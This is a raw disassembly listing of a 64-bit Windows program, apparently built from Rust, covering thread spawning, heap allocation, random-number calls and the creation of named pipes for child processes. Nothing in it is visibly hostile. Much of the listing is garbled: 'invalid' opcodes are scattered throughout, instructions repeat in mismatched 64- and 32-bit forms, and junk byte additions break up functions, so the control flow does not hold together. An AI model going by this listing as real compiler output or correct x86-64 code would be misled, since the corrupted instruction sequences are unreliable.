mov rbx, qword [rbp - 8]
je 0x14008e292
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov eax, 1
jmp 0x14008e1cd
cmp esi, 0xfffffff6
mov rax, qword [rbp - 0x28]
mov rcx, rax
cmovne rcx, rbx
mov qword [rbp - 0x18], rcx
cmovne rbx, rax
mov qword [rbp - 0x20], rbx
mov rax, qword [rbp]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], 0
mov byte [rbp + 0x3d], 0
mov byte [rbp + 0x3c], 1
call fcn.14008f9f0
mov rsi, rax
mov byte [rbp + 0x3d], 0
mov byte [rbp + 0x3c], 1
xor ecx, ecx
call fcn.140079da0
mov qword [rbp + 0x28], rax
lock inc qword [rax]
jle 0x14008e3c3
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp - 0x10], 1
mov qword [rbp - 8], 1
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14008e32c
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14008e4be
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 0x30
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14008e4be
movups xmm0, xmmword [rbp - 0x10]
movups xmm1, xmmword [rbp]
movups xmm2, xmmword [rbp + 0x10]
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
lock inc qword [rax]
jle 0x14008e3c3
movzx ecx, byte [0x1400f9150]
test cl, cl
mov qword [rbp + 0x30], rax
je 0x14008e3c7
mov byte [0x1400f9150], 1
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xe0], 0
je 0x14008e39c
lea rax, [rax + 0xe8]
jmp 0x14008e3ae
mov byte [rbp + 0x3e], 1
call fcn.140085900
test rax, rax
je 0x14008e584
mov rcx, qword [rax]
mov qword [rax], 0
test rcx, rcx
je 0x14008e3c7
lock inc qword [rcx]
jg 0x14008e3c9
ud2
xor ecx, ecx
mov byte [rbp + 0x3a], 0
mov byte [rbp + 0x39], 1
mov qword [rbp + 0x20], rcx
call fcn.140085810
test rax, rax
je 0x14008e3ed
lock dec qword [rax]
jne 0x14008e3ed
mov rcx, rax
call fcn.140067ef0
mov rbx, qword [rbp + 0x30]
mov rcx, qword [rbx + 0x10]
test rcx, rcx
mov rdi, qword [rbp - 0x20]
je 0x14008e409
lock inc qword [rcx + 0x18]
jle 0x14008e53a
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14008e435
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14008e4d2
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 0x28
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14008e4d2
mov rcx, qword [rbp + 0x28]
mov qword [rax], rcx
mov qword [rax + 8], rbx
mov rcx, qword [rbp + 0x20]
mov qword [rax + 0x10], rcx
mov rcx, qword [rbp - 0x18]
mov qword [rax + 0x18], rcx
mov qword [rax + 0x20], rdi
mov byte [rbp + 0x3f], 0
lea r8, case.0x14007e263.488
mov rcx, rsi
mov rdx, rax
call fcn.14008fe80
mov rsi, rdx
test rax, rax
jne 0x14008e4e6
mov rcx, rsi
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rbp + 0x28]
lock dec qword [rcx]
mov rsi, qword [rbp + 0x30]
jne 0x14008e4a5
call fcn.14007a600
lock dec qword [rsi]
jne 0x14008e4b3
mov rcx, rsi
call fcn.14008fe40
xor eax, eax
mov rbx, qword [rbp - 0x48]
jmp 0x14008e1cd
mov ecx, 8
mov edx, 0x30
call fcn.1400a9bd0
jmp 0x14008e5b0
mov ecx, 8
mov edx, 0x28
call fcn.1400a9bd0
jmp 0x14008e5b0
mov rax, qword [rbp + 0x30]
lock dec qword [rax]
jne 0x14008e4f9
mov rcx, qword [rbp + 0x30]
call fcn.14008fe40
mov rax, qword [rbp + 0x28]
lock dec qword [rax]
jne 0x14008e50c
mov rcx, qword [rbp + 0x28]
call fcn.14007a600
mov qword [rbp - 0x10], rsi
lea rax, [0x1400e8858]
mov qword [rsp + 0x20], rax
lea rcx, str.failed_to_spawn_thread
lea r9, fcn.140079f00
lea r8, [rbp - 0x10]
mov edx, 0x16
call fcn.1400aa200
jmp 0x14008e5b0
add rcx, 0x10
mov byte [rbp + 0x3f], 1
xor edx, edx
call fcn.14007c210
lea rax, str.too_many_running_threads_in_thread_scope
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], 1
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rbp], rax
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
mov byte [rbp + 0x3f], 1
lea rdx, str.library_std_src_thread_scoped.rs_a
lea rcx, [rbp - 0x10]
call fcn.1400a9cb0
jmp 0x14008e5b0
mov byte [rbp + 0x3e], 1
lea rax, str.library_std_src_threadlocal.rs
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_src_threadlocal.rs
lea r9, [0x1400e7f60]
lea r8, [rbp - 0x10]
mov edx, 0x46
call fcn.1400aa200
ud2
lea r12, [rdx + 1]
mov r15, rcx
lea rax, [rdx + rdx*2]
mov r8, qword [rcx + rdx*8 + 8]
mov r9, qword [rcx + rax*8 + 0x60]
mov rax, qword [rcx + rax*8 + 0x70]
movups xmmword [rsp + 0x28], xmm6
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp - 0x20]
xor edx, edx
call r14
mov r9d, 1
mov rcx, r15
mov rdx, r12
mov r8d, 0
test eax, eax
je 0x14008ed08
invalid
sub rdi, 1
jb 0x14008ed47
sub rbx, 1
jb 0x14008ed47
test r9, r9
je 0x14008ebc0
test rcx, rcx
jne 0x14008ebc0
test rdx, rdx
je 0x14008ec96
mov r9, rdx
and r9, 7
and ecx, 7
je 0x14008ec9b
mov rax, rdx
and rax, 0xfffffffffffffff8
and eax, 0xfffffff8
mov rcx, r8
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
mov rcx, qword [rcx + 0x170]
dec r9
jne 0x14008eba0
cmp rdx, 8
jae 0x14008ecb0
jmp 0x14008ecee
test r9, r9
je 0x14008ed81
movzx eax, word [rcx + 0x16a]
cmp rdx, rax
jb 0x14008ec02
nop word cs:[rax + rax]
mov rax, qword [rcx]
test rax, rax
je 0x14008ed67
inc r8
movzx edx, word [rcx + 0x168]
mov rcx, rax
cmp dx, word [rax + 0x16a]
jae 0x14008ebe0
test r8, r8
je 0x14008eb10
mov r15, qword [rcx + rdx*8 + 0x178]
mov rax, r8
add byte [rcx + rcx*4 - 0x40], cl
dec rax
je 0x14008ec8e
mov r9, rax
and r9, 7
and ecx, 7
and ecx, 7
je 0x14008ec45
mov rax, r9
nop word [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov r15, qword [r15 + 0x170]
dec rax
jne 0x14008ec30
not r9
add r9, r8
add ecx, eax
add ecx, eax
mov rax, r9
add r8, 0xfffffffffffffffe
cmp r8, 7
jb 0x14008ec8e
nop
mov r8, qword [r15 + 0x170]
mov r8, qword [r8 + 0x170]
mov r8, qword [r8 + 0x170]
mov r8, qword [r8 + 0x170]
mov r8, qword [r8 + 0x170]
mov r8, qword [r8 + 0x170]
mov r8, qword [r8 + 0x170]
mov r15, qword [r8 + 0x170]
add rax, 0xfffffffffffffff8
jne 0x14008ec50
xor r12d, r12d
jmp 0x14008eb17
mov rcx, r8
jmp 0x14008ecee
mov rcx, r8
mov rax, rdx
cmp rdx, 8
jb 0x14008ecee
nop word [rax + rax]
mov rcx, qword [rcx + 0x170]
mov rcx, qword [rcx + 0x170]
mov rcx, qword [rcx + 0x170]
mov rcx, qword [rcx + 0x170]
mov rcx, qword [rcx + 0x170]
mov rcx, qword [rcx + 0x170]
mov rcx, qword [rcx + 0x170]
mov rcx, qword [rcx + 0x170]
add rax, 0xfffffffffffffff8
jne 0x14008ecb0
xor edx, edx
xor r8d, r8d
movzx eax, word [rcx + 0x16a]
push 1
add byte [rax], al
cmp rdx, rax
jae 0x14008ebe0
jmp 0x14008ec02
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
or byte [rax - 0x39], cl
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
jne 0x14008ed05
mov rcx, rsi
int1
call qword [sym.imp.kernel32.dll_DeleteProcThreadAttributeList]
test r13, r13
je 0x14008ed52
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
add al, byte [rax]
jmp 0x14008ed52
mov rax, qword [rbp - 0x20]
mov qword [rsi], rax
mov qword [rsi + 8], r13
invalid
movaps xmm6, xmmword [rbp - 0x10]
add rsp, 0x78
invalid
js 0x14008edb6
pop rdi
invalid
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, [0x1400e8518]
movabs dword [0x2bba000597], eax
clc
add eax, 0x58d4c00
add byte [rbp + rcx*4 + 5], cl
movabs dword [0x2bba000597], eax
add byte [rax], al
call fcn.1400a9e70
jmp 0x14008ed9d
mov qword [rbp - 0x30], r13
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea ecx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea ecx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, [0x1400e7b88]
lea eax, [0x1400e7b88]
mov edx, 0x2b
sub eax, dword [rax]
add byte [rax], al
invalid
call fcn.1400a9e70
add dword [rax], eax
ud2
sti
dec dword [rdi]
or esp, dword [rsi + 0x2e]
nop dword [rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
mov qword [rsp + 0x10], rdx
push rbp
push r15
push rdi
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rdx + 0x70]
movaps xmmword [rsp + 0x30], xmm6
and al, 0x30
and al, 0x30
mov rcx, qword [0x1400f91f8]
xor edx, edx
ror byte [rbx + rcx*4 + 0x45], cl
invalid
invalid
loopne 0x14008eddb
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x21627
movaps xmm6, xmmword [rsp + 0x30]
sub byte [rsp + 0x30], dh
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
invalid
ret
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
adc byte [rbp + 0x41], dl
push rdi
adc byte [rbp + 0x41], dl
push rdi
push r14
push r13
push rbp
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
sub esp, 0x48
sub esp, 0x48
lea rbp, [rdx + 0x70]
movaps xmmword [rsp + 0x30], xmm6
mov rcx, qword [rbp - 0x20]
loopne case.0x1400271cf.1554
mov edx, dword [rbp - 0x30]
je 0x14008ee41
xor byte [rax - 0x75], cl
loopne case.0x1400271cf.1554
mov edx, dword [rbp - 0x30]
call fcn.14008ee80
movaps xmm6, xmmword [rsp + 0x30]
and al, 0x30
push rbp
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x30], dh
and al, 0x30
and al, 0x30
add rsp, 0x48
pop rbx
invalid
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
pop rbp
ret
nop word cs:[rax + rax]
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rdx + 0x70]
lea ebp, [rdx + 0x70]
lea ebp, [rdx + 0x70]
movaps xmmword [rsp + 0x30], xmm6
ud2
je 0x14008ee91
xor byte [rdi], cl
or ecx, dword [rdi]
or ecx, esp
int3
int3
call qword [sym.imp.kernel32.dll_DeleteProcThreadAttributeList]
add byte [rax - 0x7b], cl
push qword [rcx + rbx + 0x48]
mov ecx, dword [0x1400f91f8]
test rdi, rdi
je 0x14008eeb0
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
add rsp, 0x28
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rdi
pop rsi
ret
int3
jno 0x14008eed5
movzx eax, byte [rcx + 0x10]
test al, al
jne 0x14008eee4
mov rax, qword [0x1400f9290]
shl rax, 1
test rax, rax
jne 0x14008eef3
mov ah, 0xa3
invalid
mov rcx, rsi
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
call fcn.1400ae3b0
test al, al
jne 0x14008eee4
mov byte [rsi + 8], 1
jmp 0x14008eee4
add rsp, 0x20
pop rsi
ret
int3
int3
cmp dword [rax], eax
je 0x14008efc5
mov rdx, qword [rcx + 8]
test rdx, rdx
je case.0x1400271cf.1590
or byte [rax - 0x7b], cl
sal byte [rbp + rsi + 0x4c], cl
mov r8, qword [rcx + 0x10]
mov eax, dword [rcx + 0x10]
mov rax, qword [rcx + 0x18]
mov qword [rsp + 0x28], 0
and al, 0x28
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x48], 0
and al, 0x48
add byte [rax], al
add byte [rax], al
and al, 0x48
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x58], r8
and al, 0x58
and al, 0x58
mov ecx, 1
jmp case.0x140026edd.1600
add bl, ch
add al, 0x31
xor ecx, ecx
xor ecx, ecx
xor eax, eax
mov qword [rsp + 0x20], rcx
and al, 0x20
mov qword [rsp + 0x40], rcx
and al, 0x40
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x60], eax
invalid
lea rcx, [rsp + 0x20]
and al, 0x20
call fcn.14008b6f0
sub eax, edi
invalid
call qword [rax + 0x68c48348]
nop
add rsp, 0x68
invalid
invalid
invalid
ret
int3
int3
push rdi
push r14
push r13
push rbp
push rbp
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x148
sub esp, 0x148
sub esp, 0x148
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], 0
lea rbp, [rsp + 0x80]
lea ebp, [rsp + 0x80]
add byte [rax], 0
add byte [rdi], cl
sub dword [rbp + 0xb0], esi
mov al, 0
add byte [rax], al
movaps xmmword [rbp + 0xb0], xmm6
mov al, 0
add byte [rax], al
mov qword [rbp + 0xa8], 0xfffffffffffffffe
mov qword [rbp + 0x68], rcx
invalid
test al, 0
add byte [rax], al
invalid
dec dword [rax - 0x77]
push 0xa59588
push 0xa59588
push 0xa59588
mov byte [rbp + 0xa5], dl
movsd dword [rdi], dword [rsi]
add byte [rax], al
add byte [rdi], cl
invalid
add byte [rax], al
movzx eax, dl
mov dh, 0xc2
mov ecx, 0x40080002
sub ecx, eax
sub ecx, eax
mov dword [rbp + 0x64], ecx
xor edi, edi
invalid
inc dword [rcx - 0x41]
mov r15d, 8
or byte [rax], al
add byte [rax], al
mov sil, 1
mov dh, 1
xorps xmm6, xmm6
mov r12, qword [sym.imp.bcrypt.dll_BCryptGenRandom]
mov esp, dword [sym.imp.bcrypt.dll_BCryptGenRandom]
mov esp, dword [sym.imp.bcrypt.dll_BCryptGenRandom]
and eax, 0x2113f
adc dword [rdx], eax
add byte [rcx], dh
xor eax, eax
ror byte [rax - 0x77], 0x45
clc
mov qword [rbp - 8], rax
clc
nop
call qword [sym.imp.kernel32.dll_GetCurrentProcessId]
adc eax, 0x2121a
adc eax, 0x2121a
sbb dl, byte [rdx]
add al, byte [rax]
mov dword [rbp + 0x58], eax
pop rax
jmp 0x14008f04b
add byte [rax - 0x75], cl
mov rax, qword [rbp + 0x20]
and byte [r8 - 0x79], r9b
xchg qword [0x1400f9200], rax
add eax, 0x6a1b5
mov ch, 0xa1
invalid
mov rax, qword [0x1400f9200]
add eax, 0x6a1ae
scasb al, byte [rdi]
movabs eax, dword [0xf4975c085480006]
invalid
add byte [rax - 0x7b], cl
sal byte [rbp + 0x49], 0xf
invalid
test rax, rax
sal byte [rbp + 0x49], 0xf
jne 0x14008f0a0
movaps xmmword [rbp + 0x20], xmm6
sub dword [rbp + 0x20], esi
xor ecx, ecx
leave
lea rdx, [rbp + 0x20]
lea edx, [rbp + 0x20]
mov r8d, 0x10
mov eax, 0x10
adc byte [rax], al
add byte [rax], al
mov r9d, 2
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 1], al
invalid
call r12
test eax, eax
invalid
jns case.0x140028086.1535
int3
sar byte [rcx - 0x34], 0x4c
mov dword [rbp + 0x78], esi
int3
mov qword [rbp + 0x78], r14
mov qword [rbp + 0x70], rbx
mov byte [rbp + 0xa7], dil
cmpsd dword [rsi], dword [rdi]
add byte [rax], al
add byte [rax], al
pop rbp
jo 0x14008f0bd
mov byte [rbp + 0xa7], bh
cmpsd dword [rsi], dword [rdi]
add byte [rax], al
add byte [rax], al
mov byte [rbp + 0xa6], 1
add byte [rax], al
mov byte [rbp + 0xa6], 1
add byte [rax], al
add byte [rcx], al
call fcn.140090ad0
add byte [rax], al
jmp 0x14008f044
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax + 1], bh
add byte [rax], al
invalid
mov eax, 1
add byte [rax], al
add al, dh
xadd qword [0x1400f9200], rax
add eax, 0x6a152
lock xadd qword [0x1400f9200], rax
add eax, 0x6a152
movabs eax, dword [0x8d48e84589480006]
pop r8
mov qword [rbp - 0x18], rax
call 0x1984e7dfe
lea rax, [rbp + 0x58]
mov qword [rbp], rax
mov dword [rbp], eax
add byte [rax - 0x73], cl
add eax, 0xfffb4a3f
sti
invalid
lea rax, [0x140043b00]
invalid
sti
dec dword [rax - 0x77]
or byte [r8 - 0x73], r9b
lea rax, [rbp - 0x18]
mov qword [rbp + 0x10], rax
invalid
mov qword [rbp + 8], rax
lea rax, [rbp - 0x18]
mov qword [rbp + 0x10], rax
invalid
adc byte [rax - 0x73], cl
add eax, 0xfffb24fc
invalid
lea rax, [fcn.1400415d0]
dec dword [rax - 0x77]
sbb byte [r8 - 0x73], r9b
mov qword [rbp + 0x18], rax
lea rax, str..pipe__rust_anonymous_pipe1__.
add eax, 0x5b0f9
add eax, 0x5b0f9
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], 2
add byte [rax], al
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
and byte [r8 - 0x39], r9b
sub byte [r10], r8b
add byte [rax], al
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rax, rbp
mov eax, ebp
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], 2
mov dword [rbp + 0x38], 2
mov dword [rbp + 0x38], 2
cmp byte [rdx], al
add byte [rax], al
add byte [rcx + rcx*4 + 0x75], cl
mov qword [rbp + 0x78], r14
invalid
mov qword [rbp + 0x78], r14
jne 0x14008f17e
mov qword [rbp + 0x70], rbx
mov dword [rbp + 0x70], ebx
jo 0x14008f14b
mov byte [rbp + 0xa7], dil
mov byte [rbp + 0xa7], bh
add dh, al
mov byte [rbp + 0xa6], 1
test dword [rsi + 0x1000000], esp
add dword [rax - 0x73], ecx
enter 0xffffffffffff8d48, 0x55
push rbp
lea rcx, [rbp - 0x38]
lea ecx, [rbp - 0x38]
lea rdx, [rbp + 0x20]
call fcn.1400407c0
invalid
sti
invalid
push rbp
and al, ch
wait
invalid
test r14, r14
sete al
or sil, al
or dh, al
or dh, al
test sil, 1
test dh, 1
jne 0x14008f146
adc cl, byte [rax - 0x75]
or eax, 0x6a0bd
invalid
mov rcx, qword [0x1400f91f8]
add byte [rcx], dh
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x212c2
ror byte [rcx - 0x77], cl
fdivr st(7)
adc eax, 0x212c2
mov r8, qword [rbp - 0x38]
mov rax, qword [rbp - 0x30]
enter 0xffffffffffff8b48, 0x45
ror byte [rax - 0x77], 1
invalid
mov eax, dword [rbp - 0x30]
mov qword [rbp + 0x80], rax
mov dword [rbp + 0x80], eax
test dword [rax + 0x4c000000], eax
mov r9, qword [rbp - 0x28]
mov ecx, dword [rbp - 0x28]
lea r12, [r8 + r9]
test r9, r9
mov qword [rbp + 0x88], r8
add byte [rax], al
add byte [rcx + rcx*4 + 0x7d], al
pop rsp
add byte [rax], al
add byte [rcx + rcx*4 + 0x7d], al
pop rsp
je 0x14008f190
movzx ecx, byte [r8]
movzx r13d, cl
movzx ebp, cl
movzx ebp, cl
test r13b, r13b
js 0x14008f1b0
invalid
lea r15, ss:[r8 + 1]
lea r15, [r8 + 1]
jmp 0x14008f214
add byte [rax], al
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
xor edi, edi
xor r14d, r14d
xor r13d, r13d
xor r15d, r15d
xor esi, esi
imul cl
invalid
add byte [rax], al
invalid
imul cl
invalid
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov eax, r13d
mov eax, ebp
and eax, 0x1f
movzx edx, byte [r8 + 1]
mov dh, 0x50
add dword [rbx - 0x7fbec01e], eax
cmp ch, 0xdf
mov dh, 0x50
add dword [rbx - 0x7fbec01e], eax
cmp ch, 0xdf
jbe 0x14008f208
cmp ch, 0xdf
jbe 0x14008f208
movzx r13d, byte [r8 + 2]
shl edx, 6
mov dh, 0x68
add al, cl
loop 0x14008f1d2
and r13d, 0x3f
and ebp, 0x3f
or r13d, edx
cmp cl, 0xf0
stc
invalid
jb 0x14008f5d3
invalid
invalid
stc
invalid
add byte [rbp - 0x73], cl
js 0x14008f1e4
lea r15, [r8 + 4]
movzx ecx, byte [r8 + 3]
and eax, 7
shl eax, 0x12
loopne 0x14008f1fd
mov dh, 0x48
add eax, dword [rbx - 0x1f3ef820]
adc al, byte [rcx - 0x3f]
in eax, 6
loopne 0x14008f1fd
shl r13d, 6
and ecx, 0x3f
loope 0x14008f231
or ecx, r13d
or ecx, eax
mov r13d, ecx
cmp r13d, 0xffff
inc dword [rax]
add byte [rsi + 0x11], dh
invalid
inc dword [rax]
add byte [rsi + 0x11], dh
jmp 0x14008f5ea
add eax, dword [rax]
add byte [rbp - 0x73], cl
js 0x14008f20e
lea r15, [r8 + 2]
shl eax, 6
or eax, edx
mov r13d, eax
invalid
mov eax, 1
xor edi, edi
mov rsi, r12
sub rsi, r15
add rsi, 3
mov rcx, 0xffffffffffffffff
cmovb rsi, rcx
shr rsi, 2
shr esi, 2
add rsi, rax
mov r14w, 1
cmp rsi, 4
mov eax, 3
cmovb rsi, rax
movabs rax, 0x3fffffffffffffff
cmp rsi, rax
jae 0x14008f7dd
mov qword [rbp - 0x10], r9
inc rsi
lea rbx, [rsi + rsi]
sbb al, 0x36
sbb al, 0x36
movzx eax, byte [0x1400f92c0]
mov rax, qword [0x1400f91f8]
invalid
add byte [rax - 0x7b], cl
invalid
jne 0x14008f290
invalid
invalid
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
test eax, eax
test eax, eax
je 0x14008f7aa
add byte [rax - 0x77], cl
add eax, 0x69f68
invalid
mov qword [0x1400f91f8], rax
add byte [rax - 0x77], cl
sal dword [rcx], 0xd2
mov rcx, rax
xor edx, edx
mov r8, rbx
mov eax, ebx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14008f7aa
invalid
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
add eax, dword [0xc950f2a9]
add eax, 0x89480000
add eax, 0x89480000
mov rcx, rax
mov rax, qword [rbp - 8]
mov eax, dword [rbp - 8]
ror dword [rax - 0x75], 0x45
clc
mov eax, dword [rbp - 8]
inc eax
mov dword [rbp + 0x60], eax
invalid
mov word [rcx], r13w
mov ebx, 1
add byte [rax], al
add byte [rax - 0x77], cl
lea ebx, [rax - 0x15000000]
add byte [rax], al
add bl, ch
invalid
invalid
add byte [rax], al
add byte [rax - 0x77], cl
lea ebx, [rax - 0x15000000]
add byte [rax], al
add bl, ch
add byte [rax], al
add bl, ch
adc eax, 0xf2e6666
invalid
nop dword cs:[rax + rax]
add byte [rax], al
mov edi, eax
mov word [rcx + rbx*2], r13w
sub al, 0x59
inc rbx
test r15, r15
je 0x14008f350
push qword [rcx + rsi*2 + 0x66]
test edi, edi
test di, di
je case.0x1400689bc.1388
xor rax, r8
xor eax, eax
mov r13d, edi
cmp rbx, rsi
cmp ebx, esi
jne 0x14008f2d0
mov qword [rbp + 0x90], rsi
mov rsi, r12
nop
add byte [rax], al
add byte [rcx + rcx*4 - 0x1a], cl
sub rsi, r15
add rsi, 3
mov rcx, 0xffffffffffffffff
cmovb rsi, rcx
shr rsi, 2
add ah, byte [rsi - 0x7d]
clc
add dword [rax - 0x7d], ecx
fdivp st(7)
add ah, byte [rsi - 0x7d]
clc
add dword [rax - 0x7d], ecx
fdivp st(7)
cmp r14w, 1
sbb rsi, 0xffffffffffffffff
mov edi, eax
jmp 0x14008f37b
pop rax
pop rax
nop word cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
cmp r15, r12
je 0x14008f350
movzx edx, byte [r15]
mov dh, 0x17
movzx r13d, dl
test r13b, r13b
test ch, ch
test ch, ch
js 0x14008f437
add byte [rcx - 1], cl
invalid
inc r15
xor eax, eax
jmp 0x14008f2e9
pushfq
pushfq
nop dword [rax]
cmp r14w, 1
inc byte [rcx]
mov qword [rbp + 0x90], rsi
add byte [rax], al
jne 0x14008f4e0
add byte [rbp + 0x31], al
inc dword [rbp + 0x31]
test byte [rcx - 0x43], 0
mov r13d, 0
mov rdx, rsi
mov edx, esi
mov esi, 0
xor r15d, r15d
xor r14d, r14d
mov r13d, 0
mov rdx, rsi
mov edx, esi
mov edx, esi
mov esi, 0
cmp rbx, rdx
jne 0x14008f3d0
inc rsi
add rsi, rbx
jb 0x14008f798
invalid
mov rax, qword [rbp + 0x90]
add rax, rax
cmp rax, rsi
cmova rsi, rax
cmp rsi, 5
jae 0x14008f3a3
mov rsi, qword [rbp + 0x90]
xor r13d, r13d
jmp 0x14008f2d2
mov eax, r13d
and eax, 0x1f
movzx r8d, byte [r15 + 1]
and r8d, 0x3f
cmp r13b, 0xdf
jbe 0x14008f48f
movzx r13d, byte [r15 + 2]
shl r8d, 6
and r13d, 0x3f
or r13d, r8d
cmp dl, 0xf0
jb 0x14008f4a3
add r15, 2
shl eax, 6
or eax, r8d
mov r13d, eax
xor eax, eax
jmp 0x14008f2e9
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10000
mov dword [rsp + 0x20], 0x10000
mov rcx, qword [rbp + 0x98]
mov edx, dword [rbp + 0x64]
mov r15d, dword [rbp + 0x5c]
mov r8d, r15d
mov r9d, 1
call qword [sym.imp.kernel32.dll_CreateNamedPipeW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14008f667
lea r15, [r8 + 3]
shl eax, 0xc
or r13d, eax
cmp r13d, 0xffff
jbe 0x14008f214
lea ecx, [r13 + 0xff0000]
shr ecx, 0xa
or ecx, 0xd800
and r13d, 0x3ff
or r13d, 0xdc00
mov eax, 2
mov edi, r13d
mov r13d, ecx
jmp 0x14008f21b
call fcn.1400401e0
jmp 0x14008f806
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x78], rax
mov rax, qword [rbp + 0x88]
mov qword [rbp + 0x70], rax
mov byte [rbp + 0xa7], 1
mov byte [rbp + 0xa6], 1
mov ecx, 2
mov rdx, rbx
call fcn.1400a9bd0
jmp 0x14008f806
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x78], rax
mov rax, qword [rbp + 0x88]
mov qword [rbp + 0x70], rax
mov byte [rbp + 0xa7], 1
mov byte [rbp + 0xa6], 1
call fcn.1400401e0
ud2
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add byte [rax], al
movaps xmmword [rsp + 0x40], xmm6
cmp qword [rbp + 0x90], 0
add byte [rax], al
add byte [rax], al
je 0x14008f8d1
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x98]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x78], rax
mov rax, qword [rbp + 0x88]
mov qword [rbp + 0x70], rax
mov byte [rbp + 0xa7], 1
mov byte [rbp + 0xa6], 1
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
sub esp, 0x40
mov rsi, qword [0x1400f91b8]
test rsi, rsi
je 0x14008fa0b
invalid
xchg edi, eax
